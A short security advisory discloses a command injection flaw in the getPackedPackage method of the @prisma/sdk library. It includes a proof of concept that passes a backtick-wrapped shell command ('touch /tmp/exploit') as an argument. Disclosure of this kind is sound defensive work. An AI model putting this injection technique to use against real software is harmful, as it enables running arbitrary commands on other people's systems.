Summary
The getPackedPackage method has a command injection vulnerability. Clients of the @prisma/sdk library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

Details
Command injection in getPackedPackage
The following proof-of-concept illustrates the vulnerability. First install @prisma/sdk:
npm install @prisma/sdk
Now create a file with the following contents:
const sdk = require("@prisma/sdk");
sdk.getPackedPackage("foo", "bar", "foo`touch /tmp/exploit`")
and run it:
node test.js
Notice that a file named exploit has been created.
